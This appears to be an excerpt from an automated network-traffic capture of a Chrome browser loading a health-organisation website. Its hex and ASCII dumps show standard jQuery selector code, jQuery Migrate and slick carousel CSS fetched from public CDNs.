2024-04-24 12:44:13 UTC	1378	IN	Data Raw: 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 2c 49 3d 22 28 3f 3a 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d Data Ascii: .slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t\\r\\n\\f]",I="(?:\\\\[\\da-fA-
2024-04-24 12:44:13 UTC	1378	IN	Data Raw: 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c 78 37 66 2d 5c 75 46 46 46 46 5c 77 2d 5d 2f 67 2c 69 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c Data Ascii: \\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,
2024-04-24 12:44:13 UTC	1378	IN	Data Raw: 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 65 29 7b 4e 28 74 2c 21 30 29 7d 66 69 6e 61 6c 6c 79 7b 73 3d 3d 3d 53 26 26 65 2e 72 65 6d Data Ascii: de)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){N(t,!0)}finally{s===S&&e.rem
2024-04-24 12:44:13 UTC	1378	IN	Data Raw: 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3b 72 65 74 75 72 6e 21 59 2e 74 65 73 74 28 74 7c 7c Data Ascii: o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e.namespaceURI,n=(e.ownerDocument\|\|e).documentElement;return!Y.test(t\|\|
2024-04-24 12:44:13 UTC	1378	IN	Data Raw: 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 6e 3d 6f 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 29 26 26 6e 2e 76 61 6c 75 65 3d Data Ascii: function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value=
2024-04-24 12:44:13 UTC	1378	IN	Data Raw: 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 64 69 73 61 62 6c 65 64 3d 27 64 69 73 61 62 Data Ascii: ,e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+*").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disab
2024-04-24 12:44:13 UTC	1378	IN	Data Raw: 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 74 29 3f 31 3a 75 3f 50 28 75 2c 65 29 2d 50 28 75 2c 74 29 3a 30 3a 34 26 6e 3f 2d 31 3a 31 Data Ascii: ocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p&&y(p,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49746	151.101.194.137	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:13 UTC	554	OUT	GET /jquery-migrate-3.2.0.min.js?ver=3.0.0 HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:13 UTC	566	IN	HTTP/1.1 200 OK Connection: close Content-Length: 10183 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-27c7" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1491565 Date: Wed, 24 Apr 2024 12:44:13 GMT X-Served-By: cache-lga21937-LGA, cache-lax-kwhp1940020-LAX X-Cache: HIT, HIT X-Cache-Hits: 53, 0 X-Timer: S1713962653.477290,VS0,VE1 Vary: Accept-Encoding
2024-04-24 12:44:13 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 4d 69 67 72 61 74 65 20 76 33 2e 32 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 28 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 3d 21 30 29 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 28 65 2c 77 69 6e Data Ascii: /! jQuery Migrate v3.2.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /"undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"function"==typeof define&&define.amd?define(["jquery"],function(e){return t(e,win
2024-04-24 12:44:13 UTC	1378	IN	Data Raw: 72 61 74 65 54 72 61 63 65 26 26 28 73 2e 6d 69 67 72 61 74 65 54 72 61 63 65 3d 21 30 29 2c 73 2e 6d 69 67 72 61 74 65 52 65 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 3d 7b 7d 2c 73 2e 6d 69 67 72 61 74 65 57 61 72 6e 69 6e 67 73 2e 6c 65 6e 67 74 68 3d 30 7d 2c 22 42 61 63 6b 43 6f 6d 70 61 74 22 3d 3d 3d 6e 2e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6d 70 61 74 4d 6f 64 65 26 26 75 28 22 6a 51 75 65 72 79 20 69 73 20 6e 6f 74 20 63 6f 6d 70 61 74 69 62 6c 65 20 77 69 74 68 20 51 75 69 72 6b 73 20 4d 6f 64 65 22 29 3b 76 61 72 20 69 2c 61 3d 73 2e 66 6e 2e 69 6e 69 74 2c 63 3d 73 2e 66 69 6e 64 2c 64 3d 2f 5c 5b 28 5c 73 2a 5b 2d 5c 77 5d 2b 5c 73 2a 29 28 5b 7e 7c 5e 24 2a 5d 3f 3d 29 5c 73 2a 28 5b 2d 5c 77 23 5d 2a 3f 23 5b 2d 5c 77 23 5d 2a 29 5c 73 Data Ascii: rateTrace&&(s.migrateTrace=!0),s.migrateReset=function(){r={},s.migrateWarnings.length=0},"BackCompat"===n.document.compatMode&&u("jQuery is not compatible with Quirks Mode");var i,a=s.fn.init,c=s.find,d=/\[(\s[-\w]+\s)([~\|^$]?=)\s([-\w#]?#[-\w#])\s
2024-04-24 12:44:13 UTC	1378	IN	Data Raw: 72 74 22 29 2c 74 28 73 2e 65 78 70 72 2c 22 66 69 6c 74 65 72 73 22 2c 73 2e 65 78 70 72 2e 70 73 65 75 64 6f 73 2c 22 6a 51 75 65 72 79 2e 65 78 70 72 2e 66 69 6c 74 65 72 73 20 69 73 20 64 65 70 72 65 63 61 74 65 64 3b 20 75 73 65 20 6a 51 75 65 72 79 2e 65 78 70 72 2e 70 73 65 75 64 6f 73 22 29 2c 74 28 73 2e 65 78 70 72 2c 22 3a 22 2c 73 2e 65 78 70 72 2e 70 73 65 75 64 6f 73 2c 22 6a 51 75 65 72 79 2e 65 78 70 72 5b 27 3a 27 5d 20 69 73 20 64 65 70 72 65 63 61 74 65 64 3b 20 75 73 65 20 6a 51 75 65 72 79 2e 65 78 70 72 2e 70 73 65 75 64 6f 73 22 29 2c 65 28 22 33 2e 31 2e 31 22 29 26 26 6f 28 73 2c 22 74 72 69 6d 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 22 22 3a 28 65 2b 22 22 29 2e 72 65 70 6c 61 63 65 Data Ascii: rt"),t(s.expr,"filters",s.expr.pseudos,"jQuery.expr.filters is deprecated; use jQuery.expr.pseudos"),t(s.expr,":",s.expr.pseudos,"jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos"),e("3.1.1")&&o(s,"trim",function(e){return null==e?"":(e+"").replace
2024-04-24 12:44:13 UTC	1378	IN	Data Raw: 65 64 20 61 6e 64 20 72 65 6d 6f 76 65 64 22 29 2c 6f 28 65 2c 22 63 6f 6d 70 6c 65 74 65 22 2c 65 2e 61 6c 77 61 79 73 2c 22 6a 51 58 48 52 2e 63 6f 6d 70 6c 65 74 65 20 69 73 20 64 65 70 72 65 63 61 74 65 64 20 61 6e 64 20 72 65 6d 6f 76 65 64 22 29 29 2c 65 7d 3b 76 61 72 20 6d 3d 73 2e 66 6e 2e 72 65 6d 6f 76 65 41 74 74 72 2c 67 3d 73 2e 66 6e 2e 74 6f 67 67 6c 65 43 6c 61 73 73 2c 68 3d 2f 5c 53 2b 2f 67 3b 73 2e 66 6e 2e 72 65 6d 6f 76 65 41 74 74 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 73 2e 65 61 63 68 28 65 2e 6d 61 74 63 68 28 68 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 73 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 26 26 28 75 28 22 6a 51 75 65 72 79 2e Data Ascii: ed and removed"),o(e,"complete",e.always,"jQXHR.complete is deprecated and removed")),e};var m=s.fn.removeAttr,g=s.fn.toggleClass,h=/\S+/g;s.fn.removeAttr=function(e){var r=this;return s.each(e.match(h),function(e,t){s.expr.match.bool.test(t)&&(u("jQuery.
2024-04-24 12:44:13 UTC	1378	IN	Data Raw: 64 61 74 61 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 76 61 72 20 6e 3b 69 66 28 74 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 32 3d 3d 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7b 6e 3d 73 2e 68 61 73 44 61 74 61 28 65 29 26 26 51 2e 63 61 6c 6c 28 74 68 69 73 2c 65 29 3b 76 61 72 20 6f 3d 7b 7d 3b 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 29 69 21 3d 3d 6a 28 69 29 3f 28 75 28 22 6a 51 75 65 72 79 2e 64 61 74 61 28 29 20 61 6c 77 61 79 73 20 73 65 74 73 2f 67 65 74 73 20 63 61 6d 65 6c 43 61 73 65 64 20 6e 61 6d 65 73 3a 20 22 2b 69 29 2c 6e 5b 69 5d 3d 74 5b 69 5d 29 3a 6f 5b 69 5d 3d 74 5b 69 5d 3b 72 65 74 75 72 6e 20 51 2e 63 61 6c 6c 28 74 68 69 73 2c 65 2c 6f 29 2c 74 7d 72 65 74 75 72 6e 20 74 26 26 22 Data Ascii: data=function(e,t,r){var n;if(t&&"object"==typeof t&&2===arguments.length){n=s.hasData(e)&&Q.call(this,e);var o={};for(var i in t)i!==j(i)?(u("jQuery.data() always sets/gets camelCased names: "+i),n[i]=t[i]):o[i]=t[i];return Q.call(this,e,o),t}return t&&"
2024-04-24 12:44:13 UTC	1378	IN	Data Raw: 76 65 64 3a 20 22 2b 72 29 2c 28 6f 3d 6e 2e 70 72 6f 70 73 29 26 26 6f 2e 6c 65 6e 67 74 68 29 29 77 68 69 6c 65 28 6f 2e 6c 65 6e 67 74 68 29 73 2e 65 76 65 6e 74 2e 61 64 64 50 72 6f 70 28 6f 2e 70 6f 70 28 29 29 3b 72 65 74 75 72 6e 20 74 3d 52 2e 63 61 6c 6c 28 74 68 69 73 2c 65 29 2c 6e 26 26 6e 2e 66 69 6c 74 65 72 3f 6e 2e 66 69 6c 74 65 72 28 74 2c 65 29 3a 74 7d 2c 73 2e 65 76 65 6e 74 2e 61 64 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 6e 26 26 22 6c 6f 61 64 22 3d 3d 3d 74 26 26 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 6e 2e 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 26 26 75 28 22 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 27 6c 6f 61 64 27 2e 2e 2e 29 20 63 61 6c 6c 65 64 20 61 66 Data Ascii: ved: "+r),(o=n.props)&&o.length))while(o.length)s.event.addProp(o.pop());return t=R.call(this,e),n&&n.filter?n.filter(t,e):t},s.event.add=function(e,t){return e===n&&"load"===t&&"complete"===n.document.readyState&&u("jQuery(window).on('load'...) called af
2024-04-24 12:44:13 UTC	1378	IN	Data Raw: 6f 6e 28 74 2c 65 2c 72 2c 6e 29 7d 2c 75 6e 64 65 6c 65 67 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 72 65 74 75 72 6e 20 75 28 22 6a 51 75 65 72 79 2e 66 6e 2e 75 6e 64 65 6c 65 67 61 74 65 28 29 20 69 73 20 64 65 70 72 65 63 61 74 65 64 22 29 2c 31 3d 3d 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3f 74 68 69 73 2e 6f 66 66 28 65 2c 22 2a 2a 22 29 3a 74 68 69 73 2e 6f 66 66 28 74 2c 65 7c 7c 22 2a 2a 22 2c 72 29 7d 2c 68 6f 76 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 75 28 22 6a 51 75 65 72 79 2e 66 6e 2e 68 6f 76 65 72 28 29 20 69 73 20 64 65 70 72 65 63 61 74 65 64 22 29 2c 74 68 69 73 2e 6f 6e 28 22 6d 6f 75 73 65 65 6e 74 65 72 22 2c 65 29 2e 6f 6e 28 22 6d 6f 75 73 65 6c 65 61 76 65 22 2c 74 Data Ascii: on(t,e,r,n)},undelegate:function(e,t,r){return u("jQuery.fn.undelegate() is deprecated"),1===arguments.length?this.off(e,""):this.off(t,e\|\|"",r)},hover:function(e,t){return u("jQuery.fn.hover() is deprecated"),this.on("mouseenter",e).on("mouseleave",t
2024-04-24 12:44:13 UTC	537	IN	Data Raw: 6c 62 61 63 6b 73 28 22 6d 65 6d 6f 72 79 22 29 5d 5d 3b 72 65 74 75 72 6e 20 73 2e 44 65 66 65 72 72 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 69 3d 48 28 29 2c 61 3d 69 2e 70 72 6f 6d 69 73 65 28 29 3b 72 65 74 75 72 6e 20 69 2e 70 69 70 65 3d 61 2e 70 69 70 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 75 28 22 64 65 66 65 72 72 65 64 2e 70 69 70 65 28 29 20 69 73 20 64 65 70 72 65 63 61 74 65 64 22 29 2c 73 2e 44 65 66 65 72 72 65 64 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 73 2e 65 61 63 68 28 45 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 72 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6f 5b 65 5d 26 26 6f 5b 65 5d 3b 69 5b 74 5b 31 5d 5d 28 66 75 Data Ascii: lbacks("memory")]];return s.Deferred=function(e){var i=H(),a=i.promise();return i.pipe=a.pipe=function(){var o=arguments;return u("deferred.pipe() is deprecated"),s.Deferred(function(n){s.each(E,function(e,t){var r="function"==typeof o[e]&&o[e];i[t[1]](fu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49748	151.101.193.229	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:13 UTC	430	OUT	GET /jquery.slick/1.5.1/slick.css HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:13 UTC	709	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1718 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: text/css; charset=utf-8 ETag: W/"6b6-brkb+yUj1kJ370u2mrU3uhS+CFQ" Accept-Ranges: bytes Age: 1345606 Date: Wed, 24 Apr 2024 12:44:13 GMT X-Served-By: cache-fra-etou8220053-FRA, cache-bur-kbur8200043-BUR X-Cache: HIT, MISS Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-04-24 12:44:13 UTC	1378	IN	Data Raw: 2f 2a 20 53 6c 69 64 65 72 20 2a 2f 0a 2e 73 6c 69 63 6b 2d 73 6c 69 64 65 72 0a 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 0a 20 20 20 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 20 2d 6d 6f 7a 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 75 73 65 72 2d 73 65 6c Data Ascii: /* Slider */.slick-slider{ position: relative; display: block; -moz-box-sizing: border-box; box-sizing: border-box; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-sel
2024-04-24 12:44:13 UTC	340	IN	Data Raw: 3a 20 62 6c 6f 63 6b 3b 0a 7d 0a 2e 73 6c 69 63 6b 2d 73 6c 69 64 65 2e 73 6c 69 63 6b 2d 6c 6f 61 64 69 6e 67 20 69 6d 67 0a 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 7d 0a 2e 73 6c 69 63 6b 2d 73 6c 69 64 65 2e 64 72 61 67 67 69 6e 67 20 69 6d 67 0a 7b 0a 20 20 20 20 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 20 6e 6f 6e 65 3b 0a 7d 0a 2e 73 6c 69 63 6b 2d 69 6e 69 74 69 61 6c 69 7a 65 64 20 2e 73 6c 69 63 6b 2d 73 6c 69 64 65 0a 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 7d 0a 2e 73 6c 69 63 6b 2d 6c 6f 61 64 69 6e 67 20 2e 73 6c 69 63 6b 2d 73 6c 69 64 65 0a 7b 0a 20 20 20 20 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 0a 7d 0a 2e 73 6c 69 63 6b 2d 76 65 72 74 69 63 61 6c 20 2e 73 6c 69 63 6b Data Ascii: : block;}.slick-slide.slick-loading img{ display: none;}.slick-slide.dragging img{ pointer-events: none;}.slick-initialized .slick-slide{ display: block;}.slick-loading .slick-slide{ visibility: hidden;}.slick-vertical .slick

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49744	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
